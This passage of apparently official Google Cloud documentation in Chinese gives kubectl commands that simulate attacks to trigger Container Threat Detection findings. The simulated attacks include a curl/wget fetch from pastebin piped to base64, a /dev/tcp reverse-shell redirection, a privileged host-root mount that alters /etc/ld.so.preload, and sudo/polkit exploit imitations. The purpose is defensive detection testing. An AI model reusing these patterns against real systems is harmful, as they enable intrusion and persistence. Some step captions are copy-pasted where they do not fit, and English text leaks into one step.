shred),並執行該檔案:x86 節點:
tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/shred; /tmp/shred"ARM 節點:
tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/shred; /tmp/shred"
這項測試程序會建立 Impact: Remove Bulk Data From Disk 發現項目,您可以在 Security Command Center 查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
影響:使用 Stratum 通訊協定的可疑加密貨幣挖礦活動
如要觸發 Impact: Suspicious crypto mining activity using the Stratum
Protocol 發現項目,二進位檔必須在容器中執行,且引數與使用 Stratum 通訊協定通訊的加密貨幣挖礦軟體所用引數類似。範例使用最新的 Ubuntu 24.04 映像檔。它會複製 /bin/ls,並將該副本重新命名為模擬二進位檔 (可能是為了模擬加密貨幣挖礦程式)。接著,系統會使用包含 stratum+tcp 或類似 Stratum 通訊協定指標的引數,執行這個重新命名的二進位檔。這項活動之所以標記為可疑,是因為它模仿了容器化環境中加密貨幣挖礦軟體的網路通訊模式。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT導入
curl等公用程式二進位檔,並使用類似加密貨幣挖礦軟體透過 Stratum 通訊協定通訊時所用的引數執行:x86 節點:
tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"ARM 節點:
tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
這項測試程序會建立 Impact: Suspicious crypto mining activity
using the Stratum Protocol 發現項目,您可以在 Security Command Center 中查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
您可能也會看到您在這項測試中執行的 bash 指令有額外的發現項目。這是正常現象,您可以忽略額外的發現項目。
已執行惡意指令碼
如要觸發「執行惡意指令碼」發現項目,請在容器中執行下列程序中的指令碼。
這項程序會部署最新的 Ubuntu 24.04 映像檔、複製看似惡意的指令碼,然後執行該指令碼。指令碼必須看起來有惡意,偵測工具才會觸發偵測。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT在新容器中執行下列指令碼。
這個內嵌 Bourne 殼層指令碼源自蜜罐。不過,我們已修改指令碼,使其不會執行惡意二進位檔,因此執行指令碼不會在容器中造成惡意活動。參照網址中的二進位檔可能已移除,嘗試前往該網址會導致 404 錯誤。這是可預期的情況。 嘗試使用內嵌指令碼下載、解碼及執行二進位檔,就會觸發偵測。
x86 節點:
tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"ARM 節點:
tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
這項測試程序會建立「已執行惡意指令碼」發現項目,如果您已為 Container Threat Detection 設定記錄功能,則可在 Security Command Center 和 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
偵測到惡意網址
如要觸發「偵測到惡意網址」發現項目,請執行二進位檔,並提供惡意網址做為引數。
以下範例會部署 Ubuntu 24.04 映像檔,並執行 /bin/curl,從安全瀏覽服務存取惡意軟體網址範例。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT執行
curl,並提供惡意網址做為引數:x86 節點:
tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" url="https://testsafebrowsing.appspot.com/s/malware.html" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "cp /bin/ls /tmp/curl; /tmp/curl $url 2> /dev/null || true"ARM 節點:
tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" url="https://testsafebrowsing.appspot.com/s/malware.html" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "cp /bin/ls /tmp/curl; /tmp/curl $url 2> /dev/null || true"
這項測試程序會觸發「偵測到惡意網址」發現項目,您可以在 Security Command Center 查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 查看。您必須在組織層級啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
持續性:修改 ld.so.preload (預先發布版)
如要觸發 ld.so.preload 修改偵測,請修改主機的 /etc/ld.so.preload 檔案。這個範例會部署最新的 Ubuntu 24.04 映像檔,將主機的根檔案系統掛接至容器,然後更新 /etc/ld.so.preload。
這是檔案監控偵測工具,有特定的 GKE 版本需求。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT執行會修改主機
/etc/ld.so.preload檔案的二進位檔。x86 節點:
tag="ktd-test-ld-preload-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'ARM 節點:
tag="ktd-test-ld-preload-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" }] }}'
這項測試程序會觸發 ld.so.preload 修改發現項目,您可以在 Security Command Center 查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 查看。您必須在組織層級啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
提權:濫用 Sudo 來提權 (CVE-2019-14287)
如要觸發 Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) 發現項目,請執行 sudo 二進位檔,並加上 -u#-1 參數。這個範例會複製 /bin/ls 二進位檔,模擬 sudo 二進位檔,並使用指定參數執行。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT使用
/bin/echo重新導向至 Google 公用 DNS,啟動二進位檔:x86 節點:
tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"ARM 節點:
tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"
這項測試程序會建立 Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) 發現項目,您可以在 Security Command Center 查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 查看。您必須在組織層級啟用 Security Command Center 的 Premium 或 Enterprise 方案,才能在 Cloud Logging 查看發現項目。
提權:在 /dev/shm 中無檔案執行
如要觸發 Privilege Escalation: Fileless Execution in /dev/shm 發現項目,必須從 /dev/shm 記憶體內檔案系統執行程序。本範例使用最新的 Ubuntu 24.04 映像檔。/bin/echo 公用程式會複製到 /dev/shm/echo。接著,系統會執行這個重新命名的二進位檔。/dev/shm 下的檔案執行作業會標記為可疑,因為其行為類似於嘗試在記憶體中執行的物件,以避免檔案型偵測。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT建立具特殊權限的容器,並從記憶體內檔案系統執行程式:
x86 節點:
tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"spec": {"containers": [{"name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "command": ["bash", "-c", "cp /bin/echo /dev/shm/echo; chmod +x /dev/shm/echo; mount -o remount,exec /dev/shm; /dev/shm/echo \"Hello from /dev/shm\""]}]}}' \ "$tag"ARM 節點:
tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "containers": [{"name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "command": ["bash", "-c", "cp /bin/echo /dev/shm/echo; chmod +x /dev/shm/echo; mount -o remount,exec /dev/shm; /dev/shm/echo \"Hello from /dev/shm\""]}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag"
這項測試程序會建立 Privilege Escalation: Fileless Execution in /dev/shm 發現項目,您可以在 Security Command Center 中查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。您必須啟用 Security Command Center 的 Premium 或 Enterprise 級別,才能在 Cloud Logging 查看發現項目。
提權:Polkit 本機提權安全漏洞 (CVE-2021-4034)
如要觸發 Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) 發現項目,請以非超級使用者身分,執行已設定 GCONV_PATH 環境變數的 pkexec 二進位檔。這個範例會複製 /bin/ls 二進位檔來模擬 pkexec 二進位檔,並以指定參數做為使用者 ID 1000 執行。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT使用
/bin/echo重新導向至 Google 公用 DNS,啟動二進位檔:x86 節點:
tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "securityContext": { "runAsUser": 1000 }}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"ARM 節點:
tag="ktd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "securityContext": { "runAsUser": 1000 }, "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/pkexec; GCONV_PATH=junk /tmp/pkexec; sleep 10"
這項測試程序會建立 Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) 發現項目,您可以在 Security Command Center 查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 查看。您必須在組織層級啟用 Security Command Center 的 Premium 或 Enterprise 方案,才能在 Cloud Logging 查看發現項目。
提權:Sudo 存在提權風險 (CVE-2021-3156)
如要觸發 Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) 發現項目,請以非超級使用者身分執行 sudo 二進位檔,並使用 -s 參數和結尾為 \`. This example copies the/bin/lsbinary to
imitate thesudo` 二進位檔的參數,然後以指定參數執行。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT使用
/bin/echo重新導向至 Google 公用 DNS,啟動二進位檔:x86 節點:
tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "securityContext": { "runAsUser": 1000 }}}' \ "$tag" -- bash -c \ 'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'ARM 節點:
tag="ktd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "securityContext": { "runAsUser": 1000 }, "nodeSelector": { "kubernetes.io/arch":"arm64" }, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ 'cp /bin/ls /tmp/sudo; /tmp/sudo -s "123\\"; sleep 10'
這項測試程序會建立 Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) 發現項目,您可以在 Security Command Center 查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 查看。您必須在組織層級啟用 Security Command Center 的 Premium 或 Enterprise 方案,才能在 Cloud Logging 查看發現項目。
反向殼層
如要觸發反向殼層發現項目,請啟動二進位檔,並將 stdin 重新導向至 TCP 連線通訊端。這個範例會將 /bin/echo 複製到 /tmp/sh,然後啟動 /tmp/sh,並將流量重新導向至 DNS 連接埠上的 Google 公用 DNS 8.8.8.8。執行這個範例時,不會輸出任何內容。為防止透過中間人 (MITM) 攻擊插入任何外部程式碼,本範例不使用 /bin/sh 二進位檔。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT使用
/bin/echo重新導向至 Google 公用 DNS,啟動二進位檔:x86 節點:
tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"ARM 節點:
tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"
這項測試程序會建立反向殼層發現項目,您可以在 Security Command Center 中查看。如果您已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。您必須在組織層級啟用 Security Command Center 的 Premium 或 Enterprise 方案,才能在 Cloud Logging 查看發現項目。
非預期的子殼層
如要測試 Unexpected Child Shell 偵測工具,您可以建立包含子殼層程序的程序樹狀結構。
以下範例會建立 consul->dash 程序樹狀結構,可由 Unexpected Child Shell 偵測工具偵測。這項測試只會使用內建二進位檔,因此安全無虞。這個範例會執行下列作業:
- 建立
sh程序的副本,並命名為consul。 - 複製
echo程序,並命名為dash。 - 在複製的
consul程序中叫用複製的dash程序。
如要觸發 Unexpected Child Shell 偵測結果,請按照下列步驟操作:
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT使用模擬
consul程序叫用模擬殼層:x86 節點:
tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -ti \ --image ubuntu "$tag" \ --command -- /bin/sh -c \ 'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \ /tmp/consul -c "/tmp/sh child ran successfully & wait"'ARM 節點:
tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -ti \ --image ubuntu \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" --command -- /bin/sh -c \ 'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \ /tmp/consul -c "/tmp/sh child ran successfully & wait"'
這項測試程序會建立 Unexpected Child Shell 發現項目,您可以在 Security Command Center 中查看。如果 Container Threat Detection 已設定 Logging,且您已在組織層級啟用 Security Command Center Premium 或 Enterprise,則也可以在 Cloud Logging 中查看發現項目。
為降低雜訊抑制,首次建立容器時,Container Threat Detection 會暫時篩選「非預期的子殼層」。如要在設定容器時查看所有「非預期的子殼層」發現項目,請在容器名稱或 Pod 名稱前面加上 ktd-test,如範例所示。